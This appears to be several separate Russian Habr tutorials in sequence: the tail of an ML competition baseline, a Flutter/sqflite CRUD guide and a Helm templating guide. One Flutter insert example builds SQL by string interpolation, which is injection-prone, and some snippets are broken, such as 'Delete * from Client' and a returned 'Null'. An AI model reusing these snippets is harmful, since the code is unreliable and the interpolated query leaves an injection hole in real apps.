Перейдем к долгожданному этапу обучения модели. Для базового решения будет использован *RandomForestRegressor* из *sklearn*.
```
regr = RandomForestRegressor(random_state=0)
regr.fit(X_train, y_train)
```
Создадим предсказания на валидационных данных и посчитаем метрику.
```
pred = regr.predict(X_test)
score_views = r2_score(y_test["views"], pred[:,0])
score_depth = r2_score(y_test["depth"], pred[:,1])
score_frp = r2_score(y_test["full_reads_percent"], pred[:,2])
```
Формулу для метрики можно найти выше. На валидации получаем скор равный 0.549725, что уже неплохо.
```
score = 0.4 * score_views + 0.3 * score_depth + 0.3 * score_frp
score
0.5497252178188364
```
### Создание предсказаний на тестовых данных
Для отправки решения на платформу нам нужно создать предсказания на тестовых данных и сохранить в csv-формат.
```
pred = regr.predict(df_test[X.columns])
df_test["views"] = pred[:,0]
df_test["depth"] = pred[:,1]
df_test["full_reads_percent"] = pred[:,2]
df_test.reset_index()[['document_id', 'views', 'depth', 'full_reads_percent']] \
.to_csv('base_solution.csv', index=False)
```
При отправке данного решения на лидерборде увидим скор 0.485415. Лучший же результат на момент написания статьи равен 0.788117. Однако, не стоит отчаиваться, ведь есть огромное количество возможностей по улучшению решения.
Рекомендации для улучшения результата
-------------------------------------
### Как улучшить данные
* В чате чемпионата уже не один раз участники отмечали важность данных, которые можно спарсить из открытых источников. Так что советую посмотреть, что полезного можно извлечь с сайта РБК.
* Мы никак не использовали такие признаки, как *title* и *tags*, которые потенциально несут в себе крайне полезную информацию. Тем более, что даже авторы задачи ставили её как NLP-задачу, а значит признак *title* крайне важен. С тем, что получится спарсить также нужно будет провести тщательную работу по генерации полезных признаков.
### Варианты улучшения модели
* В базовом решение используется самая простая модель. Сразу на ум приходит замена данной модели на градиентный бустинг, например, Catboost.
* Построение ансамблей из нескольких моделей, как и в других соревнованиях, могут помочь в улучшении скора.
* Также стоит задуматься об использовании языковых моделей (NLP).
Итоги
-----
Данная задача в какой-то степени является мультимодальной, так как включает в себя и табличные и текстовые данные, чем становится интересной для решения. К тому же есть множество вариантов расширения набора данных другими интересными фичами.
Все интересующие вас вопросе вы можете задать в [канале Зайцем по ХаХатонам](https://t.me/hahatons).
Всем удачи на хакатонах и чемпионатах! | https://habr.com/ru/post/676086/ | null | ru | null |
# Используем SQLite в Flutter
Привет, Хабр! Представляем вашему вниманию перевод статьи [«Using SQLite in Flutter»](https://medium.com/flutter-community/using-sqlite-in-flutter-187c1a82e8b).
Сохранение данных очень важно для пользователей, так как нецелесообразно грузить одни и те же данные из сети. Разумнее будет сохранить их локально.
В этой статье я продемонстрирую как сделать это, используя SQLite, в Flutter-e
### Почему SQLite?
SQLite это наиболее популярный способ для хранения данных на мобильных устройствах. В этой статье мы будем использовать пакет sqflite для использования SQLite. Sqflite — одна из наиболее часто используемых и актуальных библиотек для подключения SQLite базы данных в Flutter.
1. Добавление зависимостей
--------------------------
В нашем проекте открываем файл **pubspec.yaml**. Под зависимостями добавляем последнюю версию sqflite и path\_provider.
```
dependencies:
flutter:
sdk: flutter
sqflite: any
path_provider: any
```
2. Создадим DB Client
---------------------
Теперь создадим новый файл Database.dart. В нем создадим синглтон.
Почему нам нужен синглтон: мы используем этот патерн для уверенности в том что у нас есть только одна сущность класса и для обеспечения глобальной точки входа в него.
1. Создадим приватный конструктор, который может использоваться только внутри этого класса
```
class DBProvider {
DBProvider._();
static final DBProvider db = DBProvider._();
}
```
2. Настроим базу данных
Следующим шагом будет создания объекта базы данных и предоставим геттер, где мы создадим объект базы данных, если он еще не был создан (ленивая инициализация)
```
static Database _database;
Future get database async {
if (\_database != null)
return \_database;
// if \_database is null we instantiate it
\_database = await initDB();
return \_database;
}
```
Если нет объекта, присвоенного базе данных, то мы вызовем функцию initDB для создания базы данных. В этой функции мы получим путь для сохранения базы данных и создания желаемых таблиц
```
initDB() async {
Directory documentsDirectory = await getApplicationDocumentsDirectory();
String path = join(documentsDirectory.path, "TestDB.db");
return await openDatabase(path, version: 1, onOpen: (db) {
}, onCreate: (Database db, int version) async {
await db.execute("CREATE TABLE Client ("
"id INTEGER PRIMARY KEY,"
"first_name TEXT,"
"last_name TEXT,"
"blocked BIT"
")");
});
}
```
3. Создадим класс модели
------------------------
Данные внутри базы данных будут конвертироваться в Dart Maps. Нам необходимо создать классы моделей с toMap и fromMap методами.
Для создания классов моделей, я собираюсь использовать этот [сайт](https://app.quicktype.io/#l=dart)
Наша модель:
```
/// ClientModel.dart
import 'dart:convert';
Client clientFromJson(String str) {
final jsonData = json.decode(str);
return Client.fromJson(jsonData);
}
String clientToJson(Client data) {
final dyn = data.toJson();
return json.encode(dyn);
}
class Client {
int id;
String firstName;
String lastName;
bool blocked;
Client({
this.id,
this.firstName,
this.lastName,
this.blocked,
});
factory Client.fromJson(Map json) => new Client(
id: json["id"],
firstName: json["first\_name"],
lastName: json["last\_name"],
blocked: json["blocked"],
);
Map toJson() => {
"id": id,
"first\_name": firstName,
"last\_name": lastName,
"blocked": blocked,
};
}
```
4. CRUD operations
------------------
**Create**
Используя rawInsert:
```
newClient(Client newClient) async {
final db = await database;
var res = await db.rawInsert(
"INSERT Into Client (id,first_name)"
" VALUES (${newClient.id},${newClient.firstName})");
return res;
}
```
Используя insert:
```
newClient(Client newClient) async {
final db = await database;
var res = await db.insert("Client", newClient.toMap());
return res;
}
```
Другой пример с использованием большого ID в качестве нового ID
```
newClient(Client newClient) async {
final db = await database;
//get the biggest id in the table
var table = await db.rawQuery("SELECT MAX(id)+1 as id FROM Client");
int id = table.first["id"];
//insert to the table using the new id
var raw = await db.rawInsert(
"INSERT Into Client (id,first_name,last_name,blocked)"
" VALUES (?,?,?,?)",
[id, newClient.firstName, newClient.lastName, newClient.blocked]);
return raw;
}
```
**Read**
Get Client by id
```
getClient(int id) async {
final db = await database;
var res =await db.query("Client", where: "id = ?", whereArgs: [id]);
return res.isNotEmpty ? Client.fromMap(res.first) : Null ;
}
```
Get all Clients with a condition
```
getAllClients() async {
final db = await database;
var res = await db.query("Client");
List list =
res.isNotEmpty ? res.map((c) => Client.fromMap(c)).toList() : [];
return list;
}
```
Получить только заблокированных клиентов
```
getBlockedClients() async {
final db = await database;
var res = await db.rawQuery("SELECT * FROM Client WHERE blocked=1");
List list =
res.isNotEmpty ? res.toList().map((c) => Client.fromMap(c)) : null;
return list;
}
```
**Update**
Update an existing Client
```
updateClient(Client newClient) async {
final db = await database;
var res = await db.update("Client", newClient.toMap(),
where: "id = ?", whereArgs: [newClient.id]);
return res;
}
```
Блокировка/разблокировка клиента
```
blockOrUnblock(Client client) async {
final db = await database;
Client blocked = Client(
id: client.id,
firstName: client.firstName,
lastName: client.lastName,
blocked: !client.blocked);
var res = await db.update("Client", blocked.toMap(),
where: "id = ?", whereArgs: [client.id]);
return res;
}
```
**Delete**
Delete one Client
```
deleteClient(int id) async {
final db = await database;
db.delete("Client", where: "id = ?", whereArgs: [id]);
}
```
Delete All Clients
```
deleteAll() async {
final db = await database;
db.rawDelete("Delete * from Client");
}
```
Demo
----
Для нашего демо мы создадим простое приложение, отображающее нашу базу данных.
Для начала сверстаем экран
```
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: Text("Flutter SQLite")),
body: FutureBuilder>(
future: DBProvider.db.getAllClients(),
builder: (BuildContext context, AsyncSnapshot> snapshot) {
if (snapshot.hasData) {
return ListView.builder(
itemCount: snapshot.data.length,
itemBuilder: (BuildContext context, int index) {
Client item = snapshot.data[index];
return ListTile(
title: Text(item.lastName),
leading: Text(item.id.toString()),
trailing: Checkbox(
onChanged: (bool value) {
DBProvider.db.blockClient(item);
setState(() {});
},
value: item.blocked,
),
);
},
);
} else {
return Center(child: CircularProgressIndicator());
}
},
),
floatingActionButton: FloatingActionButton(
child: Icon(Icons.add),
onPressed: () async {
Client rnd = testClients[math.Random().nextInt(testClients.length)];
await DBProvider.db.newClient(rnd);
setState(() {});
},
),
);
}
```
Заметки:
1. FutureBuilder используется для получения данных из бд
2. FAB для инициализации тестовых клинетов
```
List testClients = [
Client(firstName: "Raouf", lastName: "Rahiche", blocked: false),
Client(firstName: "Zaki", lastName: "oun", blocked: true),
Client(firstName: "oussama", lastName: "ali", blocked: false),
];
```
3. CircularProgressIndicator показывается, когда нет данных
4. Когда пользователь кликает по чекбоксам клиент блокируется/разблокируется
Теперь очень просто добавлять новые фичи, например если мы хотим удалить клиента, в момент когда он свайпнут, просто оберните ListTile в Dismissible widget вот так:
```
return Dismissible(
key: UniqueKey(),
background: Container(color: Colors.red),
onDismissed: (direction) {
DBProvider.db.deleteClient(item.id);
},
child: ListTile(...),
);
```
Рефакторинг для использования BLoC паттерна
-------------------------------------------
Мы сделали многое в этой статье, но в приложения в реальном мире, инициализация состояний в UI слое не очень хорошая идея. Отделим логику от UI.
Существует множество паттернов в Flutter, но мы будем использовать BLoC так как он наиболее гибкий для настройки.
**Создадим BLoC**
```
class ClientsBloc {
ClientsBloc() {
getClients();
}
final _clientController = StreamController>.broadcast();
get clients => \_clientController.stream;
dispose() {
\_clientController.close();
}
getClients() async {
\_clientController.sink.add(await DBProvider.db.getAllClients());
}
}
```
Заметки:
Notes:
1. getClients получает данные из БД (Client table) асинхронно. Мы будем использовать этот метод всегда, когда нам будет необходимо обновить таблицу, следовательно стоит поместить его в тело конструктора.
2. Мы создали StreamController.broadcast, для того чтобы слушать широковещательные события более одного раза. В нашем примере это не имеет особо значения, поскольку мы слушаем их только один раз, но неплохо было бы реализовать это на будущее.
3. Не забываем закрывать потоки. Таким образом мы предотвратим мемори лики. В нашем примере мы закрываем их используя dispose method в StatefulWidget
Теперь посмотрим на код
```
blockUnblock(Client client) {
DBProvider.db.blockOrUnblock(client);
getClients();
}
delete(int id) {
DBProvider.db.deleteClient(id);
getClients();
}
add(Client client) {
DBProvider.db.newClient(client);
getClients();
}
```
И наконец финальный результат
Исходники можно посмотреть здесь — [Github](https://github.com/Rahiche/sqlite_demo) | https://habr.com/ru/post/435418/ | null | ru | null |
# Основы работы с Helm чартами и темплейтами — Часть 2
В этом руководстве мы кратко обсудим, как Helm может помочь упростить управление приложениями Kubernetes, и узнаем, как использовать Helm для создания базового чарта.
В этом руководстве объясняется, как шаблон Helm `deployment.yaml` преобразуется из шаблона в манифест YAML.
Статья не соответствует традиционному справочному руководству по программированию: операторы и функции перечислены в алфавитном порядке.
Статья объясняет синтаксис шаблона по мере необходимости, чтобы объяснить `deployment.yaml` от начала до конца.
### Использование значений в шаблонах
Вот полный файл deployment.yaml для справки:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "myhelm1.fullname" . }}
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
template:
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec:
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
terminationGracePeriodSeconds: {{ .Values.terminationGracePeriodSeconds }}
command: ['sh', '-c', 'sleep 60']
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{- toYaml . | nindent 8 }}
{{- end }}
```
Выдержка из этого `deployment.yaml`:
```
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
replicas: {{ .Values.replicaCount }}
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/instance: {{ .Release.Name }}
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
```
`.Release.Name` и `.Release.Service` встроены в объекты — полный список на <https://docs.helm.sh/chart_template_guide/> Встроенные объекты. К сожалению, нет ссылок на определенные части их ОЧЕНЬ длинных веб-страниц — вам нужно прокрутить вниз и найти.
Ниже показано, как отображается финальный файл `deployment.yaml`, если вы используете:
```
helm install .\myhelm1\ --name test5 --dry-run --debug
```
В первой половине руководства вам не надо выполнять никаких команд, просто прочтите. (Даже при отладке выводится слишком много, если все, что нам нужно, — это исследовать синтаксис трехстрочного шаблона.)
(После того, как вы прочитали полный учебник, вы можете захотеть прочитать его еще раз, но на этот раз отредактировав файлы шаблонов и значений и запустив helm install с отладкой для воспроизведения / обучения)
```
app.kubernetes.io/instance: test5
app.kubernetes.io/managed-by: Tiller
app.kubernetes.io/instance: test5
- name: myhelm1
image: "radial/busyboxplus:base"
imagePullPolicy: IfNotPresent
```
Эти 3 значения ниже взяты из файла values.yaml:
```
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
```
Извлекаем `values.yaml`
```
image:
repository: radial/busyboxplus
tag: base
pullPolicy: IfNotPresent
```
**— name: {{ .Chart.Name }}** из файла Chart.yaml. Его содержимое показано ниже.
```
apiVersion: v1
appVersion: "1.0"
description: A Helm chart for Kubernetes
name: myhelm1
version: 0.1.0
```
Вероятно, половина всех шаблонов — это как раз такие простые замены значений.
Вы видели, что в файлах YAML есть директивы шаблонов, встроенные в `{{ and }}`.
У вас должно быть пустое пространство после открытия `{{ и пустое пространство перед закрытием }}`.
Значения, которые передаются в шаблон, можно рассматривать как объекты с пространством имен, где точка `(.)` разделяет каждый элемент с пространством имен.
Первая точка перед чартом указывает на то, что мы начинаем с самого верхнего пространства имен. Прочтите `.Chart.name` как «начните с верхнего пространства имен, найдите объект `Chart`, затем посмотрите внутри него на предмет с именем `name`».
### With
```
**values.yaml** extract:
nodeSelector:
disktype: ssd
gpu: Nvidia
```
```
**deployment.yaml** extract:
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
```
Отображается как:
```
nodeSelector:
disktype: ssd
gpu: Nvidia
```
**ОЧЕНЬ важно: пробелы имеют синтаксическое значение в YAML.**
Перед визуализированными двумя селекторами стоит 8 пробелов, поскольку в `deployment.yaml` есть `{{- toYaml. | nindent 8}}`
`nindent 8` делает отступ на 8 пробелов.
`with` — конструкция цикла. Со значениями в `.Values.nodeSelector`: преобразуйте его в Yaml (`toYaml`).
Точка после `toYaml` — это текущее значение `.Values.nodeSelector` в цикле. Это должно быть там.
Считайте его похожим на `sum(1,34,454)`… как `toYaml(.)`… это значение переданного параметра.
[Символ |](https://en.wikipedia.org/wiki/Pipeline_(Unix)?spm=a2c65.11461447.0.0.524e1b6aycQLfv) работает так же, если вы знакомы с оболочкой Linux.
`affinity`: и `tolerations`: `with` работают точно так же.
К сожалению, эти примеры не показывают, как with также является текущим модификатором области видимости. Это хорошо объясняется в разделе [MODIFYING SCOPE USING WITH](https://docs.helm.sh/chart_template_guide/?spm=a2c65.11461447.0.0.524e1b6aycQLfv)
За исключением `include`, вы теперь полностью понимаете, как выполняется рендеринг всего `deployment.yaml` с использованием значений из `values.yaml`, `Chart.yaml` и встроенных объектов.
Полный `service.yaml` ниже:
Теперь вы тоже это полностью понимаете.
```
apiVersion: v1
kind: Service
metadata:
name: {{ include "myhelm1.fullname" . }}
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
spec:
type: {{ .Values.service.type }}
ports:
- port: {{ .Values.service.port }}
targetPort: http
protocol: TCP
name: http
selector:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
```
### Переменные и range (диапазон) Helm
Извлечение первых и последних 3 строк из `ingress.yaml`
```
{{- if .Values.ingress.enabled -}}
{{- $fullName := include "myhelm1.fullname" . -}}
{{- $ingressPaths := .Values.ingress.paths -}}
... rest of yaml ....
{{- end }}
{{- end }}
{{- end }}
```
```
**values.yaml** extract:
ingress:
enabled: false
```
Все содержимое `ingress.yaml` заключено в большой `if` ..., начиная со строки 1 и заканчивая самой последней строкой. Если вход включен — false, содержимое yaml не создается — как мы этого хотим.
Строки 2 и 3 демонстрируют, как объявлять переменные шаблона Helm.
Обратите внимание на дефис в `{{ и }}`
Эти дефисы / тире съедают символы пробела. `{{-` съедает все пробелы слева
`-}}` означает, что пробелы справа должны быть удалены — включая новую строку — строка полностью удаляется.
Извлечение `values.yaml`
```
ingress:
enabled: false
hosts:
- chart-example.local
tls:
- secretName: chart-example-tls
hosts:
- chart-example.local-1
- chart-example.local-2
- chart-example.local-3
```
Извлечение deployment.yaml :
```
{{- if .Values.ingress.tls }}
tls:
{{- range .Values.ingress.tls }}
- hosts:
{{- range .hosts }}
- {{ . | quote }}
{{- end }}
secretName: {{ .secretName }}
{{- end }}
{{- end }}
```
Отображается как:
```
spec:
tls:
- hosts:
- "chart-example.local-1"
- "chart-example.local-2"
- "chart-example.local-3"
secretName: chart-example-tls
```
Обратите внимание, как цикл диапазона (`range`) генерирует список хостов. `quote` окружает каждого хоста кавычками.
Также существует цикл `range .Values.ingress.tls`, который выполняется только один раз. Присвоение этому циклу 3 значений продемонстрирует, как он будет колебаться в пределах значений.
```
Extract of **values.yaml**
ingress:
enabled: false
hosts:
- chart-example.local
tls:
- secretName: chart-example-tls-a
hosts:
- chart-example.local-1-a
- chart-example.local-2-a
- chart-example.local-3-a
- secretName: chart-example-tls-b
hosts:
- chart-example.local-1-b
- chart-example.local-2-b
- secretName: chart-example-tls-c
hosts:
- chart-example.local-1-c
- chart-example.local-2-c
- chart-example.local-3-c
- chart-example.local-4-c
```
Отображается как:
```
tls:
- hosts:
- "chart-example.local-1-a"
- "chart-example.local-2-a"
- "chart-example.local-3-a"
secretName: chart-example-tls-a
- hosts:
- "chart-example.local-1-b"
- "chart-example.local-2-b"
secretName: chart-example-tls-b
- hosts:
- "chart-example.local-1-c"
- "chart-example.local-2-c"
- "chart-example.local-3-c"
- "chart-example.local-4-c"
secretName: chart-example-tls-c
```
### importance of -
Оригинальный шаблон с дефисами.
```
{{- if .Values.ingress.tls }}
tls:
{{- range .Values.ingress.tls }}
- hosts:
{{- range .hosts }}
- {{ . | quote }}
{{- end }}
secretName: {{ .secretName }}
{{- end }}
{{- end }}
```
шаблон с удаленными дефисами:
```
{{ if .Values.ingress.tls }}
tls:
{{ range .Values.ingress.tls }}
- hosts:
{{ range .hosts }}
- {{ . | quote }}
{{ end }}
secretName: {{ .secretName }}
{{ end }}
{{ end }}
```
Отображается как:
```
tls:
- hosts:
- "chart-example.local-1-a"
- "chart-example.local-2-a"
- "chart-example.local-3-a"
secretName: chart-example-tls-a
- hosts:
- "chart-example.local-1-b"
- "chart-example.local-2-b"
secretName: chart-example-tls-b
- hosts:
- "chart-example.local-1-c"
- "chart-example.local-2-c"
- "chart-example.local-3-c"
- "chart-example.local-4-c"
secretName: chart-example-tls-c
```
У вас должны быть дефисы на конце строки и пробела.
### \_helpers.tpl
Теперь мы понимаем, как значения используются для создания всех наших шаблонов.
Одно исключение: `name: {{include "myhelm1.fullname". }}` — включение.
Теперь мы исследуем `include`
Мы используем include для включения других шаблонов в наши YAML-шаблоны.
Файл `_helpers.tpl` — это стандартный способ определения нескольких коротких фрагментов шаблона, которые мы хотим включить в другие шаблоны.
Вот первый именованный шаблон в `_helpers.tpl:`
```
{{- define "myhelm1.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}}
{{- end -}}
```
В первой строке мы даем имя фрагменту шаблона. Затем мы ссылаемся на это имя, чтобы включить его.
Вторая строка дает myhelm1.name значение по умолчанию: .Chart.Name.
Если значение по умолчанию не существует, myhelm1.name получает значение `.Values.nameOverride`.
`trunc 63` обрезает его до 63 символов.
`trimSuffix "-"` удаляет ОДИН завершающий `-` если он существует.
но
`trimSuffix "-`" удаляет только два завершающих `-` если они есть.
(Это не работает, как в некоторых языках программирования, где обрезка удаляет все завершающие символы)
`app.kubernetes.io/name: {{ include "myhelm1.name" . }}`
рендерится как
`app.kubernetes.io/name: myhelm1`
Далее: код шаблона
`helm.sh/chart: {{ include "myhelm1.chart" . }}`
рендерится как
`helm.sh/chart: myhelm1-0.1.0`
Это функция шаблона:
```
{{- define "myhelm1.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}}
{{- end -}}
```
`printf "%s-%s" .Chart.Name .Chart.Version` объединяет `.Chart.Name` и `.Chart.Version` — плюс ставит дефис между ними.
`replace "+" "_"` заменяет символы плюса на символы подчеркивания.
Теперь, когда вы понимаете эти две однострочные функции, вы должны легко понять 10-строчное определение `myhelm1.fullname`.
Если у вас есть опыт программирования, вы увидите, что if / else работает должным образом:
```
if condition
do something
else
do something else
end
```
Единственное отличие — это синтаксис шаблона `{{ и }}`.
### Быстрое изучение синтаксиса шаблона Helm
Официальная документация Helm содержит подробную справочную информацию о чартах и шаблонах.
The Chart Developer's Guide: <https://helm.sh/docs/topics/charts/>
The Chart Template Developer's Guide: <https://docs.helm.sh/chart_template_guide/>
Чтобы полностью изучить всю информацию – понадобится не меньше дня. Лучший способ изучить всю информацию — интерактивное использование.
В этой части руководства объясняется, как изучить Helm в интерактивном режиме.
Изучение включает:
• редактировать как можно меньше файлов
• показывать только как можно меньше визуализированных строк шаблона
• не делайте живых установок. Отлаживайте пробные запуски
Давайте как можно быстрее сконвертируем наши текущие файлы диаграмм в это — помните, что это некрасиво, а взлом — БЫСТРЫЙ.
Отредактируйте файл `values.yaml`, чтобы он выглядел так, как показано ниже:
```
replicaCount: 1
terminationGracePeriodSeconds: 30
image:
repository: radial/busyboxplus
tag: base
pullPolicy: IfNotPresent
```
Убедитесь, что `./myhelm1/.helmignore` содержит эти строки, показанные ниже:
```
NOTES.txt
test-connection.yaml
service.yaml
ingress.yaml
```
Сделайте содержимое deployment.yaml, как показано ниже:
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec:
replicas: {{ .Values.replicaCount }}
template:
spec:
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
terminationGracePeriodSeconds: {{ .Values.terminationGracePeriodSeconds }}
```
ВСЕ, что нам нужно, это yaml (даже НЕПРАВИЛЬНЫЙ), чтобы его запустить.
Сделайте пробный запуск:
```
helm install .\myhelm1\ --name test5 --dry-run --debug
```
Получается слишком длинный вывод, как показано ниже:
```
PS C:\k8> helm install .\myhelm1\ --name test5 --dry-run --debug
[debug] Created tunnel using local port: '50327'
[debug] SERVER: "127.0.0.1:50327"
[debug] Original chart version: ""
[debug] CHART PATH: C:\k8\myhelm1
NAME: test5
REVISION: 1
RELEASED: Fri Feb 15 13:47:49 2019
CHART: myhelm1-0.1.0
USER-SUPPLIED VALUES:
{}
COMPUTED VALUES:
image:
pullPolicy: IfNotPresent
repository: radial/busyboxplus
tag: base
replicaCount: 1
terminationGracePeriodSeconds: 30
HOOKS:
MANIFEST:
---
# Source: myhelm1/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: myhelm1
helm.sh/chart: myhelm1-0.1.0
app.kubernetes.io/instance: test5
spec:
replicas: 1
template:
spec:
containers:
- name: myhelm1
image: "radial/busyboxplus:base"
imagePullPolicy: IfNotPresent
terminationGracePeriodSeconds: 30
```
Избавьтесь от первых нескольких «бесполезных» строк с помощью grep.
```
helm install .\myhelm1\ --name test5 --dry-run --debug | grep -vE 'debug]|NAME|REVIS|RELEA|ART:|OKS:|FEST:'
```
Смотрите что ниже. Это все, что нам нужно: некоторые значения для игры и некоторый контент шаблона yaml для игры с синтаксисом шаблона.
```
USER-SUPPLIED VALUES:
{}
COMPUTED VALUES:
image:
pullPolicy: IfNotPresent
repository: radial/busyboxplus
tag: base
replicaCount: 1
terminationGracePeriodSeconds: 30
---
# Source: myhelm1/templates/deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: myhelm1
helm.sh/chart: myhelm1-0.1.0
app.kubernetes.io/instance: test5
spec:
replicas: 1
template:
spec:
containers:
- name: myhelm1
image: "radial/busyboxplus:base"
imagePullPolicy: IfNotPresent
terminationGracePeriodSeconds: 30
```
А теперь займитесь изучением синтаксиса:
Смотрите ниже `deployment.yaml`
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec: #-------------------->> learn spacing << ------------------------
replicas1: {{ .Values.replicaCount }}
replicas2: {{ .Values.replicaCount }}
replicas3: {{ .Values.replicaCount }}
replicas4: '{{ .Values.replicaCount }}'
replicas5: "{{ .Values.replicaCount }}"
replicas6: "{{ .Values.replicaCount }}"
replicas7: "{{ .Values.replicaCount }}"
replicas: "{{ .Values.replicaCount }}'
replicas: '{{ .Values.replicaCount }}"
replicas: {{ .Values.replicaCount }}"
replicas: "{{ .Values.replicaCount }}
template:
spec:
containers:
- name: {{ .Chart.Name }}
image1: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
image2: "{{ .Values.image.repository }} {{ .Values.image.tag }}"
image3: "{{ .Values.image.repository }}{{ .Values.image.tag }}"
image4: {{ .Values.image.repository }}{{ .Values.image.tag }}
imagePullPolicy1: {{ .Values.image.pullPolicy }}
imagePullPolicy2: {{ .Values.image.pullPolicyzzz }}
imagePullPolicy3: {{ .Values.image.pullPolicyeeeeeeeeeee }}
terminationGracePeriodSeconds: {{ .Values.terminationGracePeriodSeconds }}
```
На выходе:
```
spec: #-------------------->> learn spacing << ------------------------
replicas1: 1
replicas2: 1
replicas3: 1
replicas4: '1'
replicas5: "1"
replicas6: "1"
replicas7: "1"
template:
spec:
containers:
- name: myhelm1
image1: "radial/busyboxplus:base"
image2: "radial/busyboxplus base"
image3: "radial/busyboxplusbase"
image4: radial/busyboxplusbase
imagePullPolicy1: IfNotPresent
imagePullPolicy2:
imagePullPolicy3:
terminationGracePeriodSeconds: 30
```
Посмотрите, сколько синтаксиса вы выучили за секунды.
Делайте ошибки, чтобы понять, что на самом деле означают ошибки. Вы также узнаете, когда сообщение об ошибке помогает, а когда вводит в заблуждение.
Отредактируйте `deployment.yaml`
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec: #
replicas1: {{ .Values.replicaCount }}
template:
spec:
containers:
- name: {{ .Chart.Name }}
image1: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy-correct: {{ .Values.image.pullPolicy }}
imagePullPolicy1: {{ Values.image.pullPolicy }}
imagePullPolicy2: {{ .Valu.image.pullPolicyzzz }}
imagePullPolicy3: {{ ..Values.image.pullPolicyeeeeeeeeeee }}
```
Сделайте пробный запуск:
```
helm install .\myhelm1\ --name test5 --dry-run --debug | grep -vE 'debug]|NAME|REVIS|RELEA|ART:|OKS:|FEST:'
```
```
Error: parse error in "myhelm1/templates/deployment.yaml": template: myhelm1/templates/deployment.yaml:19: function "Values" not defined
```
ПРОЧИТАЙТЕ, поймите и исправьте ошибку, отправьте повторно.
```
Error: parse error in "myhelm1/templates/deployment.yaml": template: myhelm1/templates/deployment.yaml:21: unexpected . after term "."
```
ПРОЧИТАЙТЕ, поймите и исправьте ошибку, отправьте повторно.
```
Error: render error in "myhelm1/templates/deployment.yaml": template: myhelm1/templates/deployment.yaml:20:36: executing "myhelm1/templates/deployment.yaml" at
<.Valu.image.pullPoli...>: can't evaluate field image in type interface {}
```
```
helm install .\myhelm1\ --name test5 --dry-run --debug | grep -vE 'debug]|NAME|REVIS|RELEA|ART:|OKS:|FEST:'
```
Ниже приведены несколько различных синтаксических экспериментов:
```
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app.kubernetes.io/name: {{ include "myhelm1.name" . }}
helm.sh/chart: {{ include "myhelm1.chart" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
spec: #
replicas1: {{ .Values.replicaCount }}
template:
spec:
containers:
- name: {{ .Chart.Name }}
image1: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
imagePullPolicy1: {{ quote .Values.image.pullPolicy }}
imagePullPolicy2: {{ .Values.image.pullPolicy | quote }}
imagePullPolicy3: "{{ .Values.image.pullPolicy }}"
imagePullPolicy4: {{ .Values.image.pullPolicy | upper }}
imagePullPolicy5: {{ .Values.image.pullPolicy | lower }}
{{ $variable := 123 }}
variable: $variable
variable: {{ $variable }}
```
См. Дополнительные 3 строки внизу — use those -символы, чтобы удалить их. Удалите все 3 строки.
Helm не такой интерактивный, как Python, но таким образом вы почти можете это сделать.
Отображается как:
```
containers:
- name: myhelm1
image1: "radial/busyboxplus:base"
imagePullPolicy1: "IfNotPresent"
imagePullPolicy2: "IfNotPresent"
imagePullPolicy3: "IfNotPresent"
imagePullPolicy4: IFNOTPRESENT
imagePullPolicy5: ifnotpresent
variable: $variable
variable: 123
```
